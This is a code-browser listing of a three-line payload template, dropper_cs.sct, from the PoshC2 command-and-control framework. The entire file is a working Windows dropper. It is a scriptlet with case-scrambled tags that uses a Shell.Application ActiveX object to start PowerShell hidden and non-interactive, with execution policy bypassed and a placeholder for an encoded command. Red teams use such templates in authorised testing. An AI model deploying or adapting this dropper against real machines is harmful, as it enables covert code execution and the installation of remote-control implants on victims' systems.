Codebase list poshc2 / 167276ea-aa72-4a9a-b2e3-d2099f4dd37d/main resources / payload-templates / dropper_cs.sct
167276ea-aa72-4a9a-b2e3-d2099f4dd37d/main

Tree @167276ea-aa72-4a9a-b2e3-d2099f4dd37d/main (Download .tar.gz)

dropper_cs.sct @167276ea-aa72-4a9a-b2e3-d2099f4dd37d/main — raw · history · blame 

1
2
3
<sCrIptlEt><scRIPt>
a=new ActiveXObject("Shell.Application").ShellExecute("powershell.exe"," -exec bypass -Noninteractive -windowstyle hidden -e #REPLACEME#","","open","0");
</scRIPt></sCrIptlEt>